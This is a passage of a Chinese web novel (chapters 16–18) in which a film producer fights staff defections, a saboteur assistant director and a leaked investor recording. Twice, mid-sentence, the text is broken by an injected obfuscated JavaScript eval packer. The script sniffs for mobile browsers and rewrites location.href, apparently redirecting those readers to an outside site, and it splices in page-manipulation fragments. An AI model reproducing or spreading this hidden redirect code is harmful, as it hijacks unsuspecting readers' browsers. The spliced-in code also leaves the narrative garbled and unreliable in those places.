大多数员工不是回了家，就是还留在片场赶工。整个楼层，只剩她一个人还在灯下忙碌。 她坐在沙发上，靠着椅背，终于长长地叹了一口气。脑海里那段吵架视频的画面再次浮现：段林与老周撕得面红耳赤，场务们或袖手旁观、或低声偷笑，没有一个人试图劝解。 说明她定下的规则，在某些角落根本没扎根。 再纵容下去，下一次就不是被爆料，而是整个项目当场塌陷。 她脑中忽然回荡起赵敏那句近乎判决的话：“下次再搞砸，我也救不了你。” 她闭上眼。明明片花刚刚得到认可，她本该松一口气，却因为这个突如其来的热搜，再次被拽进了深渊。 休息室的门“咔哒”一声被推开，小孙走进来，手上还捏着手机。 “程姐，我们官微刚刚发出第一轮声明，但评论区……全是嘲讽。” 程今睁开眼，神色冷静如常，却能听出语气更硬了一分：“舆论发酵期，他们爱怎么酸就怎么酸。我们接下来几天就连着放片场进度图，走拍摄日志路线，再联系几个友好媒体做实地探班报道。让观众看到我们是在真拍戏。” 小孙点点头，又咬咬牙，小声道：“但组里……有几个员工拿着截图在打听别的剧组了，感觉像是要跳槽。” 程今沉默一瞬，随即起身，拉过笔记本：“明天早上开内部大会，更新纪律，也同步福利安排。谁想走，得说清楚缘由，我要掌握节奏。” 她知道，这听起来很强硬，甚至像是钳制。 可现在，不立规则、不立声望，就真成了任人踩的泥潭。 凌晨两点，整栋公司已近于寂静。 程今一个人坐在电脑前，把一份新的内部整顿方案敲完，准备在天亮前发给导演组与主要管理层。 正当她起身去洗手间，手机忽然弹出一条陌生短信。 “片花只能骗一时，剧组的乱象可不是滤镜能遮的。祝你好运。” 她怔了一秒，脸色微变。 对方知道她刚把片花送去临川，也知道她现在最脆弱的节点，说明这不是路人随手乱发，而是知根知底的内线。 她慢慢将短信删除，手指却一时收不回来。 “……是谁这么清楚我们剧组的现状？” 她抬起头，看向窗外。城市的夜空一片昏黄，星光早已隐没，只剩一圈圈模糊灯光在远处跳跃。像是有人正透过无形的窗子看着她的一举一动，随时准备出手。 休息室只剩空调低声送风，和她轻微的呼吸。 孤身一人，却没有一刻松懈。 她坐回沙发，双手交握在膝上，目光冷静，却燃着一股被迫逼出来的坚韧。 16. 第 16 章 凌晨一点，城市的灯火逐渐熄灭，霓虹黯淡如喘息未尽的余烬。 程今刚从一场公关紧急会议中脱身，坐进公司商务车的驾驶座。她没有让小孙送，而是自己握上方向盘，她需要这段短暂的独处，哪怕是靠驾驶带来的专注，去隔离那些将她包围的噪音。 雨后的柏油路潮湿发亮，街道两旁橘黄路灯投下模糊剪影。偶尔一束远光灯照来，在挡风玻璃上反射出尖锐的白光，刺得她下意识眯起眼。 她咬着后槽牙，额角的筋脉隐隐跳动。 “只剩七天。” 晚间，赵敏亲自来电，没有半句缓和余地，临川基金董事会已几乎失去对《暗潮》的信任。 “再出乱子，冻结资金，就是下一步。” 哪怕片花再亮眼，也救不了资本对制片能力的质疑。 七天内，必须稳住人心、止住动荡。否则，一切前功尽弃。 她低头扫了眼手机上的未读消息： 【内部群】：“段林又在说风凉话了，跟几个场务讲这戏迟早黄。” 【制片助理刘倩】：“程姐，服化组又走了两个人，一个是化妆骨干，一个是道具主管……都说是家里有事。” 【陌生号码】：“别太信赵敏。资本最无情，她随时可能放弃你。” 她的手指在那条短信上停住了一瞬。 光看字面，像是“好心提醒”，但每一个字都带着极深的试探与挑拨，仿佛对她内心最脆弱的缝隙早已了然于胸。 赵敏的强硬，段林的离心，骨干的流失……加上这句“她随时可能放弃你”，像是一刀刀割在最无法示弱的位置。 程今盯着屏幕，眼神沉了几分。然后缓缓按下删除键。 “资本无情，我比谁都清楚。”她低声呢喃，手指却越握越紧。 她深吸一口气，一脚踩下油门，将车驶入公司地下停车场。 雨痕未干，混凝土墙体泛着冷光，像是无声压迫的堡垒。黑夜深沉，空无一人，却挡不住她目光里的那一丝倔强光芒。 夜色笼罩的大楼，顶层仍亮着几处残灯，映得整层办公区像一座孤岛。 程今将车稳稳停入地库，快步走进制片部门办公室。刚推门，刘倩和小孙便站起身迎上来。 刘倩将一叠文件递到她面前，神情压抑：“这是最新的离职意向书。” 程今接过，一页页翻阅，眉心越拧越紧。 “这些人……全是关键岗位。”她抬起头，语气冷了几分，“他们为什么走？” “有几个是说家里有事，但更多的，实话实说，是听风声。”刘倩低声道，“外界传得厉害，说临川基金准备撤资，这戏拍不下去了。有人开始投简历，有人直接被猎头挖走。” “另谋出路。”她补了一句，苦笑着摇了摇头，“这行本就没人等谁。” “啪——”程今猛地合上文件夹。 “胡说八道。”她的声音干脆利落，“资金不会断。” 她站直身子，目光扫过屋里每一个人，眼神锋利如刃： “明天，我亲自跟他们谈——愿意留下的，我给条件；铁了心要走的，立即办理手续。走了就别想着还能回头。” 一言落地，众人下意识挺直了脊背。 她说这话时，声音不算高，但字字压人。程今很清楚，现在不铁腕控局，就只会有更多人摇摆跟风，把整个团队踩得更碎。 小孙小声补充道：“还有件事……永荣影业最近动作频频，背后在挖我们人，说出的价钱比市场高一倍。” 程今没有任何情绪波动，只是淡淡抬眼：“出高价挖人，说明他们怕我们成事。” 她顿了顿，眼神微沉，仿佛某个念头已经成型：“好，我知道该怎么应对了。” 第二天一早，程今火速召集主创高层开会，讨论剧组整顿方案。 会议室的空气沉得发闷，打印纸的墨香混着浓烈的咖啡味，每个人脸上都写着疲惫。外面阳光灿烂，这里却像密闭的气压舱。 杨学宁一进门，把剧本“啪”地一声甩到桌上，眉头拧得死紧：“剪辑还没定版，分镜我昨晚重排了一遍，得抓紧演员排练。” 唐夕翻着微博热搜，脸色不太好看：“公关组整夜盯着，八卦号和营销号轮番上阵，一波刚下，一波又起。” 刘倩坐在角落，手指飞快敲着键盘记录，低声补充：“昨晚又收到两封匿名邮件，还在造谣剧组崩盘。” 这时，副导演段林姗姗来迟，步子散漫，连招呼都没打，拉开椅子坐下，冷哼一声：“还开会呢？现在情况这么糟，能不能拍下去还两说。” 空气一滞。 程今的视线缓缓扫过去，语气不高，却透着冷意：“迟到了十分钟，看起来你是不着急。” 段林耸肩，往后一靠，声音吊儿郎当：“我不是不急，只是照这架势发展……怕是没人比你更急。” 会议室里的温度仿佛又低了一度。 程今手指交叠放在桌面，声音平稳：“如果你只想说风凉话，可以会后再讲。现在——” 她视线扫过全场，声线压下来，带着明显的钉子：“我们谈正事。” 她开门见山：“赵敏昨晚来电，基金已给最后期限，一周。再出内乱，资金立刻冻结。” 话音刚落，段林便不屑一笑：“不冻才怪。现在这个样子，拍个屁啊？” 杨学宁按捺不住，拍桌怒道：“段林，你是成心添乱吧？真不想拍就直说，没人拦你走！” 段林撇嘴，语气凉凉：“别急着扣帽子。我说的是现实。外面黑料满天飞，组里人心惶惶，还不能让人有点怀疑？” 程今面无表情，声音却一下子冰到骨子里：“我最后强调一次，谁再在会议上散布消极言论、破坏士气，不管是谁，我都会立刻清理出组。副导演也不例外。” 话落，会议桌短暂静默。 段林咬咬牙，没再接话，但脸色阴沉得几乎能滴水。 程今收回视线，语速一转，落入实际部署：“时间紧迫，我们要迅速做三件事。” 她一一列出： “第一，内部分工重组。服化、灯光等关键岗位紧缺，我会额外调集外包补人。” “第二，舆论攻防。唐夕带队，24小时监控关键词与热搜，一旦发现带节奏，立即组织反击。” “第三，拍摄进度控制。杨导、段导，现场任何推诿、扯皮、争吵，一经外泄，直接问责当事人。” 杨学宁点头，态度坚定：“我配合。只要人心别再散，我能保证节奏。” 段林冷眼看他一眼，没有吭声。 会议匆匆收尾，众人起身准备离开，程今却开口： “段导，留一下。” 段林停步，脸上已写满不耐：“又怎么了？” 程今盯着他，语气不动声色：“我不想闹翻。但你也别逼我。把副导演的活干好，别再挑事。否则，后果你自己承担。” 段林冷笑一声，没接话，只是摔门而去。 程今站在原地，看着门慢慢合上，眼中一丝波澜也无。 她脑海里却浮现出小井的提醒，段林曾被人目睹与对家永荣影业私下通话。 他或许还没动手，但早已心不在组。现在还不能翻明牌，但她已经做好准备：一旦证据确凿，她会亲手拔掉这根钉子。 当天下午，程今马不停蹄，召集了一场全员大会。 会议室里人声嘈杂，数十名剧组成员陆续到场，交头接耳，气氛沉闷。 程今登上台，站定，环视全场，第一句话就铿锵有力： “外界说我们剧组散了？说你们被对家挖走了？好，那我先问，在座的，有谁现在就决定不干了，请当场站出来。” 声音干脆凌厉，像利刃切破沉默。 台下瞬间安静下来。 几秒后才有人低声议论，却没人真正举手。 程今扫过众人，继续开口，语调冷得发紧：“临川基金还在注资，项目没有断资，没有停拍。只要你们做好本职，我可以负责任地说，这戏绝对能拍完，不会垮。” 她停顿一瞬，缓缓抬高声音：“我也在此做出承诺——留守到底的人员，后续项目收益与奖金，不会少你们一分。但如果有人在关键期恶意造谣、外泄片场信息、扰乱团队秩序——我会立刻开除，并上报行业黑名单，不留余地。” 一瞬间，空气骤冷，连老周都下意识挺直了后背，心中暗想：程制片这是动真格了，要死要活都压上了。 她不容打断地继续推进，将接下来一周的拍摄计划节点简要说明，又现场宣布：夜班人员全员补贴上调20%，即刻执行。 台下一片窃窃私语，几个原本已经消极应付的中层对视一眼，神色松动。 她扫视一圈，最后一句如钉入心口：“我说过，不到最后，别急着下定论。 但我也希望，你们别太快自断前途。” 会议结束后，不少主管主动留下来问进度和排期，气氛已有转暖。 但暗处依旧有人冷眼旁观。 老周看着人群离散，低声嘀咕：“补贴再多，也得看能不能落实吧……” 程今听到了，却没回头，也没解释。 她知道，这场强心针只能稳一时。她只求能撑到拍完。 晚上十点，办公室的座机响起。 程今刚处理完一份拍摄排期表，接起电话，就听见赵敏那熟悉而带压迫感的嗓音。 “听说你下午开了全员大会，还给夜班人员加了补贴？”赵敏语气淡得像在陈述天气，“董事会问我，你打算从哪里拨这笔钱。” 程今已经料到会接到这个电话，声音不疾不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359155|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐：“我从非拍摄预算里做了一些结构调整。数额不大，但足以稳住人心。” “哦？”赵敏轻轻一笑，那笑意听上去并不温和，“希望你别因为保人心，搞得项目其他部分缺口更大。” 程今手指轻扣桌面，压住情绪，语气稳如刀锋：“我会用最终拍摄实绩，证明这笔钱花得值。” 电话那头安静两秒。 然后赵敏道：“好。那我就看你接下来的动作。” ——随后，挂断。 电话嘟声响起，程今放下话筒，靠进椅背，长出一口气。 她知道，从现在开始，每一步都要踩在钢丝上。 第二天一早，程今正忙着与外包公司协调调岗补人，公关唐夕一路小跑进来，手里举着手机，神情压不住兴奋： “程姐！沈宴发vlog了！就今早的片场，三分钟，拍得特别正面！” 程今一愣，转头看向屏幕。 视频里，沈宴拿着手机轻轻一晃，对着清晨刚开工的片场打趣：“大家别被八卦带节奏，我们哪儿也没散呢，看这些满场飞的同事们，拍得热火朝天，谁有空内讧？” 镜头扫过灯光组、服化、道具区，每一帧都是真实还原：工位整洁，人手紧张但有序。评论区瞬间点赞刷屏： 【氛围还挺好诶】 【打脸造谣号】 【他拍得也太真实了吧！】 程今看着画面，心头一震。 关键时刻，他替她把这道最难守的“信心线”顶住了。 她立即让小孙联系沈宴团队，表达感谢。 她没说出口的是，她知道，这种“及时发声”，不是公司安排，是他自己做的决定。 那天夜里，沈宴还悄悄撤掉一场私人活动通告，将整周空出时间，留给《暗潮》。 他没说，但她心里清楚。 晚上九点，程今办公室的门被轻轻叩响。 她抬头，见是编剧小井。对方神情紧张，手里捏着一个U盘。 “程姐，这是段林的录音。”她声音压得极低，“我……我其实录了他很久了。” 程今一愣：“你怎么会？” 小井咬咬唇，像是终于下定决心，把憋在心里的话说出来：“一个多星期前，我在楼梯间偶遇他打电话，当时他以为没人，就没避讳……我听到他在说什么‘压节奏、推黑稿’之类的关键词，心里就起疑。” 她深吸口气，声音微微发颤：“后来我留了个心眼，借还剧本的由头去过几次副导演办公室，我在他桌子下面粘了一个小录音器，每天定时存档。今天刚好录到了这段，我剪了出来。” 程今盯着她看了两秒，什么都没说，直接接过U盘，插入电脑。 片段干净利落，录音清晰。 “她再能撑也撑不过一周。我这边找个借口推迟排练，让杨学宁和场务再吵一架，够永荣再压一波黑稿……观众要看热闹，资本要看风险，她完蛋了。” 听完这句，办公室一片死寂。 程今面色冷得几乎透明，唇角线条绷得死紧。 小井低声骂了一句：“这人是真的想整死咱们。” 程今缓缓拔下U盘，目光沉沉，眸中第一次浮出毫不掩饰的杀气。 “很好。”她轻声道，“证据确凿，我会把他连同永荣影业一起爆出去。” 小井犹豫了一下，还是问：“但……他要是真在这一周里搞什么大破坏呢？” 程今站起身，声音冷静得近乎无情：“我会亲自盯死他。你别再冒险了，他要是起疑，我们就彻底断了这条线。” 她将U盘收进抽屉，合上时发出“咔哒”一声脆响。 “谢谢你，小井。” 小井点点头，什么都没说，退出办公室，关门时还小心看了眼外头走廊，确认没人。 程今一个人坐在办公桌前，良久未动。 为了防着段林临阵破局，程今连续第三晚留在公司，彻夜调配排期与人员。唐夕与刘倩相继离开时，她仍坐在办公室，眉头紧锁，批阅着最后一批文件。 困意不断袭来，她掐了掐大腿，咬牙坚持，却在起身去取资料时，身体一阵晕眩，险些栽倒。 “程制片？！” 一只手及时扶住她——杨学宁站在门口，手里还拿着一份分镜需求表。 他皱眉：“你有没有好好休息？你这脸色，是想吓人？” 程今咬着牙，扶着桌边站稳：“……没事，喝点水就行。” 他摇头叹气：“你再不休息，人真垮了怎么办。” 她扯了扯嘴角，笑容勉强：“再撑几天就好。稳定了，就能松一口气。” 他见她固执，只能递上文件，又叮嘱几句离开。 她站在原地，目送他远去，窗外夜色如墨，落地窗上映出她清瘦却笔直的身影。 17. 第 17 章 凌晨三点，城市沉入浓墨般的夜色中。 霓虹灯影在玻璃上晃动，只有几条深夜车道还亮着微光，偶尔有出租车呼啸驶过，像是时间的残影。 程今刚从片场离开，坐进商务车的后排，随手拉上车门。疲惫写在眉眼间，但她眼神仍透着一股狠意。 车内灯光昏暗，她低头打开手机，在备忘录里快速编辑一则公告： “即日起，副导演段林停职，拍摄调度暂由制片方与导演组共同承担。 未尽事宜可直接联系程今，切勿扰乱秩序。” 字数不多，却像一柄压住全组的裁决刀锋。 她一字不改，敲完后抬头看向前排：“刘倩，把这通知发到高管群和部门管理群，注明立即生效。” 刘倩一怔，几乎是本能地回头：“程姐，这么突然？不再给段林一点余地？” 程今收起手机，神色冷到骨子里：“他已经不止一次带坏风气。现在只剩几天，容不得再拖了。” 她语调平稳，但每个字都像落地有声。 这一刀，她忍了很久。 刘倩点头照做，手指在手机上飞快操作。心里却忍不住发怵，段林虽然近来状况不断，可到底是资深副导，能在组里说上话的。可程今，显然已经顾不上这些了。 通知发出不过三分钟，群里就炸开了。 有人秒回【早该清了，天天搞事】， 也有人冷静分析【段导人脉不浅，恐怕不好收场】， 更有人在私聊里惊讶：【程今怎么突然动这么大？】 中层群同样躁动不安，私信弹窗一闪一闪，有人拍手叫好，有人暗自揣测：“她是不是已经知道了什么？” 车厢内仍旧沉静。 程今没有再看手机，像早已预料这场余波。她只是合上屏幕，眼神冷静，轻轻对司机说了句：“开车。” 车外夜景倒映在窗上，她目光越过玻璃，落在远处朦胧的路灯上。 副导演只是第一刀。 第二天早上七点过，公司顶层会议室再次灯火通明。 一夜未歇的高层，已陆续到位。 导演杨学宁比往常更早到场，神情透着明显的疲惫与“信息轰炸”后的凝重； 唐夕抱着昨晚更新的舆论监测报告，眉间锁着一线焦灼； 刘倩则一边调出会议纪要模板，一边低声向程今确认排期节点。 中层人员暂未被邀请，此刻这场，专为核心决策圈。 而副导演段林，当然已被彻底排除在外。 程今一身黑色衬衫，线条干净，神色冷静，眉眼间却压着一股不容置疑的压迫感。 她不绕弯，开场第一句就直指核心： “从现在开始，副导演一职暂空，我与杨导共同统筹拍摄流程。 所有部门必须服从统一调度，谁再阳奉阴违，立刻走人。我们没时间再耽搁了。” 杨学宁静静看着她片刻，点头：“行。我接受。虽然人手紧张，但少一个搅局的，比继续内耗强。” 唐夕展开报告：“目前舆论分化严重：一边是担忧剧组内斗升级，一边则因为沈宴vlog与片花，认为成片可能不差。我们形象还没彻底崩塌，就看我们接下来能不能稳住。” 刘倩飞快敲下记录，又轻声问：“程姐，现在副导位置空缺，你亲自调度，会不会太吃力？” 程今没有犹豫，语气如铁：“这时候谈累没意义。只要在剩下几天内完成核心拍摄，我就能向赵敏和董事会证明，这项目值得继续投。” 她顿了顿，目光扫过众人，声音低了半拍，却冷得发沉：“段林和对家的通话记录，我手里不止一份。他继续待在组里，只会拖垮全盘。现在，不留隐患。” 会议室一瞬静默。 杨学宁叹了口气：“但愿别再出新乱子。” 程今回看他，语气平稳：“我们会加夜班补贴、追加阶段性奖金，确保现有团队稳得住。让所有人明白，这里有钱拿、有戏拍、有未来，就没人会轻易离场。” 她顿了顿，声线倏然压低： “至于段林——他要是再敢搞事，我不介意让他的名字从业内名单里彻底划掉。” 唐夕、刘倩面面相觑，杨学宁也难得沉默。 他们从没见过这样的程今，一把火压在心底，却用极冷的手在翻牌落子。 上午十点，程今将中层骨干召集到剧组临时会议室，展开第一轮整顿沟通。 她面前摊开一沓文件，翻到第一页，抬眼看着众人：“这份是最新的夜班津贴与加班补贴调整方案。” 她将文件高高举起，语气平稳：“我知道这段时间强度大，大家熬得很辛苦。现在来看具体数字，每人每周将实打实多拿一笔，按拍摄进度和完成质量发放。” 话音刚落，众人低声议论，有人显露惊讶，也有人目光一亮。 但她语气一顿，忽然压下几分冷意：“但我也说清楚，谁再散播消极论调、带头煽动离职，我会立刻清理出组。副导演，就是活生生的例子。” 话音如钉，一锤砸下，会议室短暂安静。 服化组长点点头，小声附和：“这段确实太拼了，大家心里憋得紧。现在知道制片方在撑，肯定会好很多。” 老周皱了皱眉，咕哝着开口：“那我们场务得兼顾更多事了吧？副导演不在，调度都得落在我们身上，会不会安排人顶上？” 程今看他一眼，语气干脆：“外包公司我已经对接了，会补充临时人手，协助布景与搬运，你负责合理调配。” 老周摸了摸后脑勺，见她目光坚决，只能点头：“……行，我听你安排。” 会议持续了不到二十分钟，但信息密度极高。 补贴提高、纪律加严、调度重组，场面雷厉风行。 会后，大部分中层脸上都透出几分缓和情绪。 钱到位、话说透、规矩立清，这是他们真正愿意留下的前提。 走出会议室时，刘倩靠近低声说：“大家状态比前几天好多了。” 程今没什么表情，语气冷静：“稳只是第一步。下一步，要加速进度，并盯紧每一个环节，只要还有人心存杂念，我绝不留情。” 中午前后，烈阳高照，片场正拍摄一场动作走位戏。 副导演停职后，程今亲自顶上，与导演杨学宁一同安排镜头调度，时而还要抽空跑去服化组确认道具和服装——整整一上午，她几乎没坐下。 此刻她正蹲身在摄影机边，和武术指导复盘动作流程，一旁的小孙却快步冲来，神色慌张。 “程姐！”她压低声音，“有封匿名邮件送到助理邮箱……对方说，他们手里有你和赵敏那天谈话的录音。” 程今心头一震，但面上不动：“你先回办公室，我十分钟后过来。” 小孙点头离开，导演那边喊了一声：“准备拍摄！” 她强行稳住呼吸，冷静收住所有情绪，回头继续走完现场流程，直到一声“过了”响起，她才起身，快步离场。 十分钟后，片场边缘。 她从小孙手中接过平板，屏幕上是一封转发邮件，标题不显眼，但正文里字字紧逼： “我们已录到你与赵敏在临川基金的交谈，内容涉及董事会信任危机与潜在撤资。 若你继续当前的清洗与整顿，不排除我们公开这段录音，让圈内知道，基金从未真正看好你。” 末尾署名只有一个冷冰冰的词：“匿名”。 程今视线定在那段话上，指腹轻轻点着屏幕。她脑中快速过了一遍那天的谈话内容，赵敏确实提到过“若项目失控，可能考虑退出”。 若这段录音真被公开，一旦被断章取义、加油添醋……外界会不会认为，她所谓的“争取投资”根本是掩耳盗铃？ 她沉默两秒，低声道：“……他们果然布过录音设备。” 小孙有些发抖：“那……怎么办？” 程今将平板合上，语调低冷：“先别理他们。他们真要放出来，我们再应对。你别慌，外界越乱，我们越要稳。只要剧组站得住，他们手里的料就吓不倒我们。” 小孙紧张点头：“要不要通知唐夕？” “嗯，报给她。”程今沉吟一瞬，“告诉她准备一套应对方案，舆论角度就说这是‘断章取义、移花接木’，别抢话题，也别主动提。先按兵不动。” “好，我立刻去。”小孙转身跑开。 程今站在片场边缘，看着前方灯光组正在搬动大型灯架，汗水和节奏交织。 风灌入她领口，带着一丝午后的燥热。 她却依然站得笔直，眼神沉定。 对家既然敢亮牌，就说明他们也在赌。 这场仗，谁先露出底牌，谁就先输。 她眯起眼，看向远处剧组人影涌动，没有人看得出，她刚刚才差点被一个“资本抽身”的威胁击中要害。 下午三点，剧组群里突然跳出一条新消息。 导演杨学宁发来简短一句： “好消息：下午两场戏提前拍完，武行和服化配合完美，镜头效果不错！” 群里顿时热闹了几分。 一度摇摇欲坠的剧组，终于在这条消息里透出一点久违的活力。 有人悄悄在群里发图庆祝，有人开始私下议论： 如果程今真能保住资金，再加上这进度，说不定真能翻盘？ 这是一整天第一次，她心里浮现一点点“不是死撑”的实感。 可随即，那份轻松又迅速被现实压了下去。 对方什么时候出手？她根本不知道。 傍晚时分，她在制片办公室整理材料，门被敲响。 “程制片，”老周探头进来，神色不太自然，“能聊两句吗？” 程今抬头：“进来。” 老周走进来，关上门，有些犹豫地开口：“刚刚……有个同行打电话，说永荣那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359156|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边在放风，说他们已经拿到对你们最致命的证据。” 他顿了顿，咽了口唾沫，“还说，基金其实早就不想投了，你……只是硬撑着。” 程今看着他，没有打断。 老周苦笑了一声，像是有些不好意思：“你知道我不是信外人。但我兄弟们私下里都在问，要是真黄了，他们干这么久算什么？我也不能不问一句，程制片，你真能保证，我们不会烂尾？” 房间一瞬间安静下来。 程今收起文件，目光沉静地看着他：“老周，你知道我从头干到现在，一步都没退。资金还在，赵敏没撤，董事会是在观望，但没一纸否决。” 她顿了顿，语气缓了一些，却更有力： “你也看到了，这两天我们状态在回暖，拍摄推进得很顺。我要是心里没数，早就撤了。 你觉得我像是在空口哄人、拖着大家陪我跳海吗？” 老周望着她，没说话。 那双眼里写着疲惫，也写着压着一口气撑到底的狠劲。 他喉结动了动，最终点头：“……好，我信你。再撑一把。 但程制片，你也明白，我们不是怕累，是怕最后兄弟们全白干了。” 程今轻轻点头：“我明白。” 老周没再说什么，退身离开。 门关上的瞬间，办公室里重归沉静。 程今靠在椅背，闭眼深吸了一口气。 她知道，自己刚刚又替一整个剧组押下了最后的信用。 每一场对话，都像是一场独自签署的风险协议。她不许输，也不能输。 晚上九点，片场灯光刺破夜幕，一场雨夜车戏正在紧锣密鼓地准备。 程今赶到现场，踏入灯光照亮的区域时，头发轻轻被风扬起。 沈宴与配角柳尧正在做最后的走位与动作彩排。导演杨学宁远远看见她，举手打了个招呼：“进度很顺，今晚这场一拍完就能收工。” 她抬手还以简短回应，径直走向监视区，站在一排回放器前，凝神盯着画面里的每一个细节。 然而余光中，她也在不动声色地关注手机——每隔几分钟亮起一次，又灭。 沈宴拍完一条后走到她身旁，拿起毛巾随手擦了擦额头上的汗。 “你一直在看手机。”他低声说，“在等什么消息？” 她没有转头，只简短地回答：“等对家放大招。” 沈宴闻言挑了挑眉，顿了一秒：“需要我做点什么吗？要是他们真搞舆论，我可以随时录花絮发声。” 她轻摇头：“现在还没爆，留着你的正面形象，别提前掺进泥里。” 他没再追问，只将外套搭回椅背，语气轻淡却认真：“那好。但只要你说一句，我能做就做。毕竟这戏，也关乎我的未来。” 程今终于转头看了他一眼，嘴角淡淡一勾：“谢谢。” 那一瞬的眼神，不似工作上的客套，更像一种久违的理解与托付。 可她眼底的温意转瞬即逝，很快又恢复成清冷的光。 夜戏拍摄顺利收工。 她没来得及多说什么，就赶回公司顶楼办公室，准备查阅当日拍摄素材。时间已是凌晨两点，窗外整栋楼灯光寥落，只剩她办公区仍亮着冷白色的灯。 电脑屏幕亮起新邮件提醒，一封标题写得分外刺眼： 【录音片段：看看你们的金主如何评价你】 她屏住呼吸点开，插上耳机。 音频开头是熟悉的环境声：咖啡杯撞击陶瓷、背景人声嘈杂——她心里一紧，接着便是赵敏的声音： “……若局势继续恶化，基金不能再赔进去，我们董事会……随时准备撤资……程今也不一定撑得住……” 那一瞬，她后背仿佛被冷风扫过，脊椎生出细密寒意。 她静静听完这段录音，停顿几秒，然后缓缓按下“停止”。 ——对方毫不遮掩了，这是最后通牒，也是一记精心挑选的“杀伤预告”。 一旦公开，舆论会立刻炸裂。 “临川基金从未看好《暗潮》”，只要这句话成立，她这些天苦苦撑起的信任、士气、合作资源——全都会瞬间崩塌。 但她没有崩。 没有摔电脑，也没有歇斯底里。她只是摘下耳机，关掉邮件窗口。 她靠在椅背上，眼神落在办公桌上那堆还未批完的拍摄文件，灯光在她指尖投下一道深色阴影。 良久，她起身，重新拿起笔，在“明日拍摄流程表”一栏写下新时间安排。 她必须继续推进，哪怕背后就是深渊。 临近凌晨三点，办公室灯熄。 程今走出走廊，脚步声在寂静中一声声落下。 五天时限。 她已无退路。 可在她心里，有一句话亮得清晰坚定： “让他们放吧。哪怕被曝了又怎样？ 只要我还在拍，就还没输。” 18. 第 18 章 深夜两点，整座城市在雨后的潮湿空气中沉睡。程今将车熄火后，没有急着下车，坐在驾驶位上，隔着挡风玻璃看向高耸入云的制片公司大楼。楼顶仍有几盏灯亮着，仿佛黑夜中一簇灯火。 后排的制片助理刘倩揉了揉眉心，打破寂静：“程姐，你已经几天没好好睡过觉了，要不先回去休息一下？” 程今语调平静：“把公司内部的人心安顿好，比我休息更重要。”她打开车门，任由夜风灌进车厢，冷冽的空气瞬间驱散睡意。 “副导演段林被我停职之后，剧组虽暂时稳定，但那份录音爆料又搞得人心慌。”她语气里隐约透着疲惫，“我必须去看看夜里公关那边情况怎样。” 刘倩心中五味杂陈，只能默默跟随。 1 进了公司顶楼办公室，唐夕（公关负责人）已等在那里，神情倦怠却精神紧绷：“程姐，你可算来了。对家那边又发出部分新的录音片段。” 程今听罢，抬眼看着她：“说具体点。” 唐夕将平板推上来，屏幕上是一条微博热搜的截屏。某娱乐大V贴出一小段音频，背景嘈杂像咖啡厅，能隐约听到赵敏说：“……如果继续恶化，董事会不愿再投钱，我们也没义务陪你冒险……” 短短十几秒，就让人对临川基金的态度浮想联翩。唐夕神色凝重，“他们先放出这截，断章取义特别厉害，但仍能表明赵敏有意撤资。” 程今望着那波动的音频条，眸光冷沉。对方把录音当武器，一点点释放，先让大众猜测，后再伺机放出后半段。她深吸口气，转向唐夕：“我们必须第一时间澄清，还要让导演、演员做正面表态。” 唐夕点头：“我已准备好了公关稿，说录音仅是内部最坏情况设想，不代表正式决定。可这次公众似乎不太买账。 程今将平板合上，靠在桌边略一思索：“那就只能拿出更多实际拍摄成果，继续稳住内部，别让员工自乱阵脚。赵敏那边，我会让她出面解释，这么一来外界才不至于疯狂猜测。” 刘倩一旁补充：“问题是现在舆论发酵快。咱们声明还没发半天，又有人说看见有员工请辞，怀疑剧组已面临崩盘。” “剧组内部迟早知道录音，”程今深吸口气，“先将拍摄计划加快，让大家看到我们动作不停。你跟导演、美术、服化那边沟通，加点补贴、福利，别吝啬了。” 唐夕微皱眉：“董事会那边同意吗？” “顾不了那么多。”程今言简意赅，“让他们先稳下去再说。我们只有四五天时限，再不果断就真得完。” 见她如此强势，刘倩和唐夕都同时点头：“好，我们马上去落实。” 2 次日清晨七点半，程今没合眼就直接去片场布置。当她看完夜戏收尾场景，刚回办公室楼层，还没坐稳，一位前台小姑娘慌忙跑来：“程制片，有位梁总说是投资方的负责人，到楼下说要见你。” 程今皱眉，大资方还没搞定，小资方也来凑热闹。她立即往电梯方向走：“带他上来。” 梁总到达顶楼会客室时，表情很紧张。一见程今，他便开门见山：“程制片，我昨晚看到录音那段，我原本就投资得不多，这样下去能不能回本都难说了……你说怎么办？” 程今示意他坐下，淡淡道：“我们拍摄没中断，基金也没正式撤资，您着急退就等于半途弃船。” 梁总犹豫着：“可那录音听得真啊，临川那么大的资金都……” 程今眉宇间闪过一丝不悦，却仍礼貌克制：“录音断章取义。赵敏前几天还承诺继续给我们时间，否则我也不会不断加码拍摄。您若弃投，我也不拦，可违约后果得您自己承担。” 梁总看她态度坚决，神色闪烁：“那……行，我再观望几天。” 送走他后，刘倩在后面轻声：“这些小资方被录音一刺激就慌了，真是愁人。” 程今面无表情：“让他们慌。能留就留，留不住就放。不过记住，违约赔偿要算足，让别人不敢轻举妄动。” 刘倩轻轻“嗯”了声。 3 中午时分，导演杨学宁找上门来，表情无奈：“有几个服化和场务闹着要离职，我劝了一圈，人还是不踏实。” 程今坐在办公椅后，合上手里资料：“让他们来见我。” 不多时，三名员工进来，一脸防备地站着。有个服化骨干率先说：“程制片，对不起，可咱们这录音……听得明明白白，基金要撤就撤，我们没安全感。” 